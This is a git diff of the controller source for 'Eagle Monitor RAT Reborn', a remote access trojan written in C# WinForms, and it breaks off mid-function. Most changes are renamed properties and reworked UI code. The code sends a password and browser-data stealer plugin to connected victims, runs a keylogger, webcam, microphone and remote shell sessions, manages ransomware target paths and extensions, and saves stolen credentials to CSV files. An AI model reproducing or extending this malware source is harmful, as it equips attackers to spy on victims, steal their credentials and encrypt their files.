System.Windows.Forms.DataGridViewTriState.True; - this.extensionRansomwareDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle59; + dataGridViewCellStyle62.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle62.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); + dataGridViewCellStyle62.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); + dataGridViewCellStyle62.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); + dataGridViewCellStyle62.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle62.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle62.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.extensionRansomwareDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle62; this.extensionRansomwareDataGridView.ColumnHeadersHeight = 36; this.extensionRansomwareDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column47}); @@ -4362,11 +4513,11 @@ private void InitializeComponent() this.extensionRansomwareDataGridView.Name = "extensionRansomwareDataGridView"; this.extensionRansomwareDataGridView.ReadOnly = true; this.extensionRansomwareDataGridView.RowHeadersVisible = false; - dataGridViewCellStyle61.BackColor = System.Drawing.Color.White; - dataGridViewCellStyle61.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); - dataGridViewCellStyle61.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); - dataGridViewCellStyle61.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); - this.extensionRansomwareDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle61; + dataGridViewCellStyle64.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle64.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); + dataGridViewCellStyle64.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); + dataGridViewCellStyle64.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); + this.extensionRansomwareDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle64; this.extensionRansomwareDataGridView.RowTemplate.Height = 26; this.extensionRansomwareDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.extensionRansomwareDataGridView.Size = new System.Drawing.Size(242, 414); @@ -4376,8 +4527,8 @@ private void InitializeComponent() // Column47 // this.Column47.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - dataGridViewCellStyle60.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); - this.Column47.DefaultCellStyle = dataGridViewCellStyle60; + dataGridViewCellStyle63.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.Column47.DefaultCellStyle = dataGridViewCellStyle63; this.Column47.FillWeight = 25F; this.Column47.HeaderText = "Extension"; this.Column47.Name = "Column47"; @@ -4714,6 +4865,48 @@ private void InitializeComponent() this.panel7.Size = new System.Drawing.Size(1279, 482); this.panel7.TabIndex = 10; // + // Column48 + // + this.Column48.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + dataGridViewCellStyle53.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.Column48.DefaultCellStyle = dataGridViewCellStyle53; + this.Column48.FillWeight = 20F; + this.Column48.HeaderText = "PID"; + this.Column48.Name = "Column48"; + this.Column48.ReadOnly = true; + // + // Column49 + // + this.Column49.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.Column49.FillWeight = 20F; + this.Column49.HeaderText = "Process Name"; + this.Column49.Name = "Column49"; + this.Column49.ReadOnly = true; + // + // Column50 + // + this.Column50.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.Column50.FillWeight = 20F; + this.Column50.HeaderText = "Local EndPoint"; + this.Column50.Name = "Column50"; + this.Column50.ReadOnly = true; + // + // Column51 + // + this.Column51.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.Column51.FillWeight = 20F; + this.Column51.HeaderText = "Remote EndPoint"; + this.Column51.Name = "Column51"; + this.Column51.ReadOnly = true; + // + // Column52 + // + this.Column52.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.Column52.FillWeight = 20F; + this.Column52.HeaderText = "State"; + this.Column52.Name = "Column52"; + this.Column52.ReadOnly = true; + // // ClientForm // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); @@ -4805,6 +4998,8 @@ private void InitializeComponent() this.importLibContextMenuStrip.ResumeLayout(false); this.tabPage16.ResumeLayout(false); this.tabPage17.ResumeLayout(false); + this.informationGuna2TabControl.ResumeLayout(false); + this.tabPage30.ResumeLayout(false); this.guna2GroupBox2.ResumeLayout(false); this.panel16.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.systemInformationDataGridView)).EndInit(); @@ -4813,6 +5008,8 @@ private void InitializeComponent() ((System.ComponentModel.ISupportInitialize)(this.componentsDataGridView)).EndInit(); this.panel13.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.cpuDataGridView)).EndInit(); + this.tabPage31.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.networkInformationDataGridView)).EndInit(); this.tabPage18.ResumeLayout(false); this.panel18.ResumeLayout(false); this.panel19.ResumeLayout(false); @@ -5051,7 +5248,6 @@ private void InitializeComponent() private System.Windows.Forms.DataGridViewTextBoxColumn Column37; private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar9; private System.Windows.Forms.Panel panel14; - private System.Windows.Forms.Panel panel11; private System.Windows.Forms.TabPage tabPage23; private Guna.UI2.WinForms.Guna2Button keyloggerGuna2Button; private System.Windows.Forms.Panel panel12; @@ -5138,6 +5334,18 @@ private void InitializeComponent() internal Guna.UI2.WinForms.Guna2ToggleSwitch remoteShellGuna2ToggleSwitch; private System.Windows.Forms.Panel panel21; private System.Windows.Forms.ToolTip toolTip1; + private Guna.UI2.WinForms.Guna2TabControl informationGuna2TabControl; + private System.Windows.Forms.TabPage tabPage30; + private System.Windows.Forms.Panel panel22; + private System.Windows.Forms.TabPage tabPage31; + private Guna.UI2.WinForms.Guna2Button retrieveNetworkGuna2Button; + private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar15; + public System.Windows.Forms.DataGridView networkInformationDataGridView; + private System.Windows.Forms.DataGridViewTextBoxColumn Column48; + private System.Windows.Forms.DataGridViewTextBoxColumn Column49; + private System.Windows.Forms.DataGridViewTextBoxColumn Column50; + private System.Windows.Forms.DataGridViewTextBoxColumn Column51; + private System.Windows.Forms.DataGridViewTextBoxColumn Column52; } } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.cs index f0972ec0..6ce1cb14 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.cs @@ -12,7 +12,6 @@ using System.Drawing; using System.IO; using System.Text; -using System.Threading; using System.Windows.Forms; /* @@ -22,33 +21,33 @@ namespace Eagle_Monitor_RAT_Reborn { - public partial class ClientForm : FormPattern + internal partial class ClientForm : FormPattern { - internal ClientHandler clientHandler { get; set; } - internal RemoteDesktopHandler remoteDesktopHandler { get; set; } - internal RemoteWebCamHandler remoteWebCamHandler { get; set; } - internal RemoteMicrophoneHandler remoteMicrophoneHandler { get; set; } - internal KeyloggerHandler keyloggerHandler { get; set; } - internal ChatHandler chatHandler { get; set; } - internal RemoteShellHandler remoteShellHandler { get; set; } + internal ClientHandler ClientHandler { get; set; } + internal RemoteDesktopHandler RemoteDesktopHandler { get; set; } + internal RemoteWebCamHandler RemoteWebCamHandler { get; set; } + internal RemoteMicrophoneHandler RemoteMicrophoneHandler { get; set; } + internal KeyloggerHandler KeyloggerHandler { get; set; } + internal ChatHandler ChatHandler { get; set; } + internal RemoteShellHandler RemoteShellHandler { get; set; } - internal long downloadFileTicket { get; set; } - internal Dictionary downloadList { get; set; } + internal long DownloadFileTicket { get; set; } + internal Dictionary DownloadList { get; set; } - internal long deleteFileTicket { get; set; } - internal Dictionary deleteList { get; set; } + internal long DeleteFileTicket { get; set; } + internal Dictionary DeleteList { get; set; } internal ClientForm(ClientHandler clientHandler) { InitializeComponent(); - this.clientHandler = clientHandler; - this.downloadFileTicket = 0; - this.downloadList = new Dictionary(); + this.ClientHandler = clientHandler; + this.DownloadFileTicket = 0; + this.DownloadList = new Dictionary(); - this.deleteFileTicket = 0; - this.deleteList = new Dictionary(); + this.DeleteFileTicket = 0; + this.DeleteList = new Dictionary(); - if (this.clientHandler.isAdmin) + if (this.ClientHandler.IsAdmin) this.askUACGuna2Button.Enabled = false; } @@ -62,6 +61,7 @@ private void ClientForm_Load(object sender, EventArgs e) private void SetUI() { this.SuspendLayout(); + #region "Double buffer" Utils.Enable(this.passwordsDataGridView); Utils.Enable(this.historyDataGridView); @@ -74,7 +74,17 @@ private void SetUI() Utils.Enable(this.importLibDataGridView); Utils.Enable(this.shellcodeDataGridView); + Utils.Enable(this.managedPEDataGridView); + Utils.Enable(this.nativePEDataGridView); + Utils.Enable(this.systemInformationDataGridView); + Utils.Enable(this.componentsDataGridView); + Utils.Enable(this.cpuDataGridView); + Utils.Enable(this.networkInformationDataGridView); + + Utils.Enable(this.pathRansomwareDataGridView); + #endregion + #region "Vertical Scrollbar" new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.passwordsDataGridView, this.guna2VScrollBar1, true); new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.historyDataGridView, this.guna2VScrollBar2, true); @@ -96,131 +106,72 @@ private void SetUI() new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.pathRansomwareDataGridView, this.guna2VScrollBar13, true); new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.extensionRansomwareDataGridView, this.guna2VScrollBar14, true); - ImageList tabImageList = new ImageList - { - ColorDepth = ColorDepth.Depth32Bit, - ImageSize = new Size(28, 28) - }; - - tabImageList.Images.Add(Properties.Resources.icons8_database_backup); - tabImageList.Images.Add(Properties.Resources.icons8_file_explorer); - tabImageList.Images.Add(Properties.Resources.icons8_system_task); - tabImageList.Images.Add(Properties.Resources.icons8_remote_desktop); - tabImageList.Images.Add(Properties.Resources.icons8_control_panel); - tabImageList.Images.Add(Properties.Resources.icons8_microsoft_admin); - tabImageList.Images.Add(Properties.Resources.icons8_security_document); - tabImageList.Images.Add(Properties.Resources.icons8_command_line); - - this.mainGuna2TabControl.ImageList = tabImageList; - this.tabPage1.ImageIndex = 0; - this.tabPage2.ImageIndex = 1; - this.tabPage5.ImageIndex = 2; - this.tabPage8.ImageIndex = 3; - this.tabPage14.ImageIndex = 4; - this.tabPage24.ImageIndex = 5; - this.tabPage25.ImageIndex = 6; - this.tabPage29.ImageIndex = 7; - - ImageList recoveryTabList = new ImageList - { - ColorDepth = ColorDepth.Depth32Bit, - ImageSize = new Size(28, 28) - }; - - recoveryTabList.Images.Add(Properties.Resources.icons8_key); - recoveryTabList.Images.Add(Properties.Resources.icons8_time_machine); - - recoveryTabList.Images.Add(Properties.Resources.icons8_text_input_form); - recoveryTabList.Images.Add(Properties.Resources.icons8_single_line_text_input); - - this.recoveryGuna2TabControl.ImageList = recoveryTabList; - this.tabPage3.ImageIndex = 0; - this.tabPage4.ImageIndex = 1; - this.tabPage7.ImageIndex = 2; - this.tabPage6.ImageIndex = 3; - - ImageList remoteTabList = new ImageList - { - ColorDepth = ColorDepth.Depth32Bit, - ImageSize = new Size(28, 28) - }; - - remoteTabList.Images.Add(Properties.Resources.icons8_imac); - remoteTabList.Images.Add(Properties.Resources.icons8_video_call); - remoteTabList.Images.Add(Properties.Resources.icons8_microphone); - - this.remoteGuna2TabControl.ImageList = remoteTabList; - this.tabPage10.ImageIndex = 0; - this.tabPage11.ImageIndex = 1; - this.tabPage12.ImageIndex = 2; - - ImageList fileManager = new ImageList - { - ColorDepth = ColorDepth.Depth32Bit, - ImageSize = new Size(28, 28) - }; - - fileManager.Images.Add(Properties.Resources.icons8_file_explorer); - fileManager.Images.Add(Properties.Resources.icons8_download); - - this.fileManagerGuna2TabControl.ImageList = fileManager; - this.tabPage9.ImageIndex = 0; - this.tabPage13.ImageIndex = 1; - - ImageList miscellaneousTabList = new ImageList - { - ColorDepth = ColorDepth.Depth32Bit, - ImageSize = new Size(28, 28) - }; - - miscellaneousTabList.Images.Add(Properties.Resources.icons8_computer_virus); - miscellaneousTabList.Images.Add(Properties.Resources.icons8_keyboard); - miscellaneousTabList.Images.Add(Properties.Resources.icons8_information); - miscellaneousTabList.Images.Add(Properties.Resources.icons8_question_mark); - miscellaneousTabList.Images.Add(Properties.Resources.icons8_chat); - - this.miscellaneousGuna2TabControl.ImageList = miscellaneousTabList; - - this.tabPage15.ImageIndex = 0; - this.tabPage16.ImageIndex = 1; - this.tabPage17.ImageIndex = 2; - this.tabPage18.ImageIndex = 3; - this.tabPage23.ImageIndex = 4; - - ImageList memoryExecutionTabList = new ImageList - { - ColorDepth = ColorDepth.Depth32Bit, - ImageSize = new Size(28, 28) - }; - - memoryExecutionTabList.Images.Add(Properties.Resources.icons8_c_plus_plus); - memoryExecutionTabList.Images.Add(Properties.Resources.Binary_Code_32px); - memoryExecutionTabList.Images.Add(Properties.Resources.icons8_source_code); - memoryExecutionTabList.Images.Add(Properties.Resources.icons8_visual_basic); - - this.memoryExecutionGuna2TabControl.ImageList = memoryExecutionTabList; - - this.tabPage19.ImageIndex = 0; - this.tabPage20.ImageIndex = 1; - this.tabPage21.ImageIndex = 2; - this.tabPage22.ImageIndex = 3; - - ImageList ransomwareTabList = new ImageList - { - ColorDepth = ColorDepth.Depth32Bit, - ImageSize = new Size(28, 28) - }; - - ransomwareTabList.Images.Add(Properties.Resources.icons8_private_folder); - ransomwareTabList.Images.Add(Properties.Resources.icons8_settings); - ransomwareTabList.Images.Add(Properties.Resources.icons8_lock_file); - - this.ransomwareGuna2TabControl.ImageList = ransomwareTabList; - - this.tabPage26.ImageIndex = 0; - this.tabPage27.ImageIndex = 1; - this.tabPage28.ImageIndex = 2; - + new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.networkInformationDataGridView, this.guna2VScrollBar15, true); + #endregion + #region "TabImage" + Utils.SetTabImage(this.mainGuna2TabControl, new Icon[] + { + Properties.Resources.icons8_database_backup, + Properties.Resources.icons8_file_explorer, + Properties.Resources.icons8_system_task, + Properties.Resources.icons8_remote_desktop, + Properties.Resources.icons8_control_panel, + Properties.Resources.icons8_microsoft_admin, + Properties.Resources.icons8_security_document, + Properties.Resources.icons8_computer_virus + }); + + Utils.SetTabImage(this.recoveryGuna2TabControl, new Icon[] + { + Properties.Resources.icons8_key, + Properties.Resources.icons8_time_machine, + Properties.Resources.icons8_text_input_form, + Properties.Resources.icons8_single_line_text_input + }); + + Utils.SetTabImage(this.remoteGuna2TabControl, new Icon[] + { + Properties.Resources.icons8_imac, + Properties.Resources.icons8_video_call, + Properties.Resources.icons8_microphone + }); + + Utils.SetTabImage(this.fileManagerGuna2TabControl, new Icon[] + { + Properties.Resources.icons8_file_explorer, + Properties.Resources.icons8_download + }); + + Utils.SetTabImage(this.miscellaneousGuna2TabControl, new Icon[] + { + Properties.Resources.icons8_computer_virus, + Properties.Resources.icons8_keyboard, + Properties.Resources.icons8_information, + Properties.Resources.icons8_question_mark, + Properties.Resources.icons8_chat + }); + + Utils.SetTabImage(this.memoryExecutionGuna2TabControl, new Icon[] + { + Properties.Resources.icons8_c_plus_plus, + Properties.Resources.icons8_Binary_Code, + Properties.Resources.icons8_source_code, + Properties.Resources.icons8_visual_basic + }); + + Utils.SetTabImage(this.ransomwareGuna2TabControl, new Icon[] + { + Properties.Resources.icons8_private_folder, + Properties.Resources.icons8_settings, + Properties.Resources.icons8_lock_file + }); + + Utils.SetTabImage(this.informationGuna2TabControl, new Icon[] + { + Properties.Resources.icons8_electronics, + Properties.Resources.icons8_ethernet_on + }); + #endregion Misc.DotNetCodeExecution.RowAdder("System.dll", this.importLibDataGridView); Misc.DotNetCodeExecution.RowAdder("Microsoft.VisualBasic.dll", this.importLibDataGridView); @@ -228,7 +179,7 @@ private void SetUI() Misc.DotNetCodeExecution.RowAdder("System.Management.dll", this.importLibDataGridView); Misc.DotNetCodeExecution.RowAdder("System.Drawing.dll", this.importLibDataGridView); - string extensionsPath = this.clientHandler.clientPath + "\\Ransomware\\extensions.txt"; + string extensionsPath = this.ClientHandler.ClientPath + "\\Ransomware\\extensions.txt"; if (!File.Exists(extensionsPath)) { @@ -245,7 +196,7 @@ private void SetUI() row.Cells["Column47"].Value = extension; } - string pathAffectecd = this.clientHandler.clientPath + "\\Ransomware\\paths.txt"; + string pathAffectecd = this.ClientHandler.ClientPath + "\\Ransomware\\paths.txt"; if (File.Exists(pathAffectecd)) { @@ -271,7 +222,7 @@ private void closeGuna2ControlBox_Click(object sender, EventArgs e) { pathAffected.AppendLine(row.Cells[0].Value.ToString()); } - File.WriteAllText(this.clientHandler.clientPath + "\\Ransomware\\paths.txt", pathAffected.ToString()); + File.WriteAllText(this.ClientHandler.ClientPath + "\\Ransomware\\paths.txt", pathAffected.ToString()); StringBuilder extensions = new StringBuilder(); @@ -279,18 +230,18 @@ private void closeGuna2ControlBox_Click(object sender, EventArgs e) { extensions.AppendLine(row.Cells[0].Value.ToString()); } - File.WriteAllText(this.clientHandler.clientPath + "\\Ransomware\\extensions.txt", extensions.ToString()); + File.WriteAllText(this.ClientHandler.ClientPath + "\\Ransomware\\extensions.txt", extensions.ToString()); if ((passwordsDataGridView.Rows.Count > 0 || historyDataGridView.Rows.Count > 0 || keywordsDataGridView.Rows.Count > 0 || autofillDataGridView.Rows.Count > 0) && !Program.settings.autoSaveRecovery) { DialogResult r = MessageBox.Show("It seems that some data have not been saved. Do you want to save them before closing ?", "Data not saved", MessageBoxButtons.YesNoCancel, MessageBoxIcon.Information); if (r == DialogResult.Yes) { - Misc.Utils.ToCSV(this.passwordsDataGridView, this.clientHandler.clientPath + "\\Passwords\\" + Misc.Utils.DateFormater() + ".csv"); - Misc.Utils.ToCSV(this.historyDataGridView, this.clientHandler.clientPath + "\\History\\" + Misc.Utils.DateFormater() + ".csv"); + Misc.Utils.ToCSV(this.passwordsDataGridView, this.ClientHandler.ClientPath + "\\Passwords\\" + Misc.Utils.DateFormater() + ".csv"); + Misc.Utils.ToCSV(this.historyDataGridView, this.ClientHandler.ClientPath + "\\History\\" + Misc.Utils.DateFormater() + ".csv"); - Misc.Utils.ToCSV(this.clientHandler.clientForm.keywordsDataGridView, this.clientHandler.clientPath + "\\Keywords\\" + Misc.Utils.DateFormater() + ".csv"); - Misc.Utils.ToCSV(this.clientHandler.clientForm.autofillDataGridView, this.clientHandler.clientPath + "\\Autofill\\" + Misc.Utils.DateFormater() + ".csv"); + Misc.Utils.ToCSV(this.ClientHandler.ClientForm.keywordsDataGridView, this.ClientHandler.ClientPath + "\\Keywords\\" + Misc.Utils.DateFormater() + ".csv"); + Misc.Utils.ToCSV(this.ClientHandler.ClientForm.autofillDataGridView, this.ClientHandler.ClientPath + "\\Autofill\\" + Misc.Utils.DateFormater() + ".csv"); this.Close(); } @@ -308,67 +259,71 @@ private void closeGuna2ControlBox_Click(object sender, EventArgs e) private void FixClientHandlersBeforeLeaving() { - if (this.remoteDesktopHandler != null) + if (this.RemoteDesktopHandler != null) { mouseGuna2ToggleSwitch.Checked = false; keyboardGuna2ToggleSwitch.Checked = false; RemoteViewerPacket remoteViewerPacket = new RemoteViewerPacket(PacketType.RM_VIEW_OFF) { - baseIp = this.clientHandler.IP, - HWID = this.clientHandler.HWID + BaseIp = this.ClientHandler.IP, + HWID = this.ClientHandler.HWID }; - this.remoteDesktopHandler.clientHandler.SendPacket(remoteViewerPacket); + ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, remoteViewerPacket); + // this.remoteDesktopHandler.clientHandler.StartSendData(remoteViewerPacket); } - if (this.remoteWebCamHandler != null) + if (this.RemoteWebCamHandler != null) { RemoteCameraCapturePacket remoteCameraCapturePacket = new RemoteCameraCapturePacket(PacketType.RC_CAPTURE_OFF) { - baseIp = this.clientHandler.IP, - HWID = this.clientHandler.HWID + BaseIp = this.ClientHandler.IP, + HWID = this.ClientHandler.HWID }; - this.remoteWebCamHandler.clientHandler.SendPacket(remoteCameraCapturePacket); + ClientHandler.StartSendData(this.RemoteWebCamHandler.ClientHandler, remoteCameraCapturePacket); + //this.remoteWebCamHandler.clientHandler.StartSendData(remoteCameraCapturePacket); } - if (this.remoteMicrophoneHandler != null) + if (this.RemoteMicrophoneHandler != null) { RemoteAudioCapturePacket remoteAudioCapturePacket = new RemoteAudioCapturePacket(PacketType.AUDIO_RECORD_OFF) { - baseIp = this.clientHandler.IP, - HWID = this.clientHandler.HWID + BaseIp = this.ClientHandler.IP, + HWID = this.ClientHandler.HWID }; - this.remoteMicrophoneHandler.clientHandler.SendPacket(remoteAudioCapturePacket); + ClientHandler.StartSendData(this.RemoteMicrophoneHandler.ClientHandler, remoteAudioCapturePacket); } - if (this.keyloggerHandler != null) + if (this.KeyloggerHandler != null) { - KeylogPacket keylogPacket = new KeylogPacket(this.clientHandler.IP, this.clientHandler.HWID) + KeylogPacket keylogPacket = new KeylogPacket(this.ClientHandler.IP, this.ClientHandler.HWID) { - plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Keylogger.dll"), 1) + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Keylogger.dll"), 1) }; - this.keyloggerHandler.clientHandler.SendPacket(keylogPacket); + ClientHandler.StartSendData(this.KeyloggerHandler.ClientHandler, keylogPacket); this.keyloggerGuna2Button.Text = "Start"; - File.WriteAllText(this.clientHandler.clientPath + "\\Keystrokes\\" + Misc.Utils.DateFormater() + ".txt", this.keystrokeRichTextBox.Text); + File.WriteAllText(this.ClientHandler.ClientPath + "\\Keystrokes\\" + Misc.Utils.DateFormater() + ".txt", this.keystrokeRichTextBox.Text); } - if (this.chatHandler != null) + if (this.ChatHandler != null) { - RemoteChatPacket chatPacket = new RemoteChatPacket(PacketType.CHAT_OFF); - chatPacket.baseIp = this.clientHandler.IP; - this.chatHandler.clientHandler.SendPacket(chatPacket); + RemoteChatPacket chatPacket = new RemoteChatPacket(PacketType.CHAT_OFF) + { + BaseIp = this.ClientHandler.IP + }; + ClientHandler.StartSendData(this.ChatHandler.ClientHandler, chatPacket); this.chatGuna2Button.Text = "Start"; } - if (this.remoteShellHandler != null) + if (this.RemoteShellHandler != null) { StopShellSessionPacket stopShellSessionPacket = new StopShellSessionPacket() { - baseIp = this.clientHandler.IP, - HWID = this.clientHandler.HWID + BaseIp = this.ClientHandler.IP, + HWID = this.ClientHandler.HWID }; - this.remoteShellHandler.clientHandler.SendPacket(stopShellSessionPacket); + ClientHandler.StartSendData(this.RemoteShellHandler.ClientHandler, stopShellSessionPacket); this.remoteShellGuna2Button.Text = "Start Session"; } } @@ -416,16 +371,15 @@ private void ClientForm_MouseLeave(object sender, EventArgs e) this.processDataGridView.CurrentCell = null; } #endregion - #region "Recovery" - #region "Password" + #region "Recovery" private void getPasswordToolStripMenuItem_Click(object sender, EventArgs e) { PasswordsPacket passwordsPacket = new PasswordsPacket { - plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Stealer.dll"), 1) + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Stealer.dll"), 1) }; - this.clientHandler.SendPacket(passwordsPacket); + ClientHandler.StartSendData(this.ClientHandler, passwordsPacket); } private void passwordsDataGridView_MouseUp(object sender, System.Windows.Forms.MouseEventArgs e) @@ -440,16 +394,15 @@ private void passwordsDataGridView_MouseUp(object sender, System.Windows.Forms.M } } } - #endregion - #region "History" + private void historyToolStripMenuItem_Click(object sender, EventArgs e) { HistoryPacket historyPacket = new HistoryPacket { - plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Stealer.dll"), 1) + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Stealer.dll"), 1) }; - this.clientHandler.SendPacket(historyPacket); + ClientHandler.StartSendData(this.ClientHandler, historyPacket); } private void historyDataGridView_MouseUp(object sender, MouseEventArgs e) @@ -464,16 +417,16 @@ private void historyDataGridView_MouseUp(object sender, MouseEventArgs e) } } } - #endregion + private void autofillToolStripMenuItem_Click(object sender, EventArgs e) { AutofillPacket autofillPacket = new AutofillPacket { - plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Stealer.dll"), 1) + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Stealer.dll"), 1) }; - this.clientHandler.SendPacket(autofillPacket); + ClientHandler.StartSendData(this.ClientHandler, autofillPacket); } private void keywordsToolStripMenuItem_Click(object sender, EventArgs e) @@ -481,10 +434,10 @@ private void keywordsToolStripMenuItem_Click(object sender, EventArgs e) KeywordsPacket keywordsPacket = new KeywordsPacket { - plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Stealer.dll"), 1) + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Stealer.dll"), 1) }; - this.clientHandler.SendPacket(keywordsPacket); + ClientHandler.StartSendData(this.ClientHandler, keywordsPacket); } private void keywordsDataGridView_MouseUp(object sender, MouseEventArgs e) @@ -517,9 +470,11 @@ private void autofillDataGridView_MouseUp(object sender, MouseEventArgs e) #region "File Manager" private void refreshToolStripMenuItem_Click(object sender, EventArgs e) { - DiskPacket diskPacket = new DiskPacket(); - diskPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1); - this.clientHandler.SendPacket(diskPacket); + DiskPacket diskPacket = new DiskPacket + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) + }; + ClientHandler.StartSendData(this.ClientHandler, diskPacket); } private void disksGuna2ComboBox_SelectedIndexChanged(object sender, EventArgs e) @@ -527,9 +482,9 @@ private void disksGuna2ComboBox_SelectedIndexChanged(object sender, EventArgs e) this.labelPath.Text = disksGuna2ComboBox.Text; FileManagerPacket fileManagerPacket = new FileManagerPacket(labelPath.Text) { - plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) }; - clientHandler.SendPacket(fileManagerPacket); + ClientHandler.StartSendData(ClientHandler, fileManagerPacket); } private void goToolStripMenuItem_Click(object sender, EventArgs e) @@ -542,9 +497,9 @@ private void goToolStripMenuItem_Click(object sender, EventArgs e) this.labelPath.Text = newPath; FileManagerPacket fileManagerPacket = new FileManagerPacket(labelPath.Text) { - plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) }; - clientHandler.SendPacket(fileManagerPacket); + ClientHandler.StartSendData(ClientHandler, fileManagerPacket); } } } @@ -562,9 +517,9 @@ private void backToolStripMenuItem_Click(object sender, EventArgs e) this.labelPath.Text = NewPath; FileManagerPacket fileManagerPacket = new FileManagerPacket(labelPath.Text) { - plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) }; - clientHandler.SendPacket(fileManagerPacket); + ClientHandler.StartSendData(ClientHandler, fileManagerPacket); } } @@ -578,9 +533,9 @@ private void fileManagerDataGridView_MouseDoubleClick(object sender, MouseEventA this.labelPath.Text = newPath; FileManagerPacket fileManagerPacket = new FileManagerPacket(labelPath.Text) { - plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) }; - clientHandler.SendPacket(fileManagerPacket); + ClientHandler.StartSendData(ClientHandler, fileManagerPacket); } } } @@ -612,15 +567,15 @@ private void startDownloadFileToolStripMenuItem_Click(object sender, EventArgs e { foreach (DataGridViewRow file in 